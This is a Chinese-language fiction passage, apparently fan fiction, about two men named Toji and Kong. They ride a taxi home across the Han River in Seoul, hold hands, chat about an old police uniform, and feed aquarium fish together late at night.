他看了一眼孔。
孔在副驾，侧着脸看窗外，他的脸上什么都没有。
——
过了元晓大桥，这次是回汝矣岛的方向。
江上空，江北的灯还亮着，但少了。
歌还在唱。
一段。两段。副歌。
甚尔的左手伸到自己膝盖上。
过了大概十秒，他的左手挪到两人中间孔的右手旁边，碰了一下。
孔没看。
孔的右手翻过来，掌心朝上。
甚尔的左手搁在孔的右手心里。
孔的手指轻轻合拢。
两人就这样握着，一直到出租车开过元晓大桥，开到汝矣岛，开进公寓楼下。
——
司机停车，孔松开手付钱。
电梯上十二楼，走廊很安静。
玄关，浅木色的小托盘里，亮黄色和亮粉色的两个塑料戒指还在那里。
孔把钥匙放进托盘，压在两个戒指旁边。
甚尔脱鞋，把布包搁在玄关的柜子上。
——
客厅昏暗，阳台外面是汉江，江北的灯大部分已经暗了。
甚尔走到沙发坐下。
孔走到厨房倒了两杯水，一杯放在茶几上甚尔面前，一杯自己拿着，靠在沙发扶手上。
过了一会儿，甚尔放下水杯。
“——孔。”
孔看他。
“你以前也穿那样的制服吗。”
“——まあな。”（差不多吧）
“稍微有点不一样。而且刑警一般都是便服来着。”
甚尔点点头。
过了几秒，“有照片吗？”
“没有。”
甚尔看着自己的水杯。
“衣服还在吗？下次可以play一下。”
“——没了。”孔短短笑了一下，“想玩的话不如你穿和服。”
甚尔也笑了，唇角的疤歪歪的。
“那算了。残念。”
——
两人都安静下来。
阳台外面的风轻轻刮过窗户玻璃，一声很轻的“嗡”，又消失。
过了几秒，甚尔抬头。
“——孔。”
“嗯。”
“我想喂鱼。”
孔看他一眼，然后点点头。
他站起来走到阳台，拉开玻璃门出去。
甚尔走到鱼缸旁边，伸手按下鱼缸定时灯的开关，蓝光打开。
鱼缸里的七条鱼慢慢从各自的位置游过来，三条蓝色、两条黄色、两条红色。
甚尔伸手，右手从鱼缸旁边的小盒子里捏出一小撮饲料。然后他停了一下，把饲料从右手换到左手，几粒掉在地上。
甚尔弯腰捻起来，放回鱼缸盖上的小盘子里。
然后他用左手慢慢把饲料撒进鱼缸。饲料散开在水面上，鱼游过来，一颗一颗叼走。
——
阳台上，孔在抽烟。隔着玻璃门他能看见甚尔在鱼缸前的背影。
甚尔的左手伸进鱼缸盖的开口，撒饲料，动作很慢。
蓝光打上去，那只手看上去只是一只普通的左手。
孔深吸一口烟，吐出来。
阳台外面，风刮过去，首尔的十一月底。
客厅里，蓝光，鱼，甚尔。
过了大概一分钟，甚尔撒完饲料。他没回过头看孔，继续站在鱼缸前，看那七条鱼吃东西。
孔在阳台上把烟抽完，熄了。
他拉开玻璃门进屋，走到鱼缸前，站在甚尔的身后。
两人一起看那七条鱼。
蓝光打在两个人的脸上。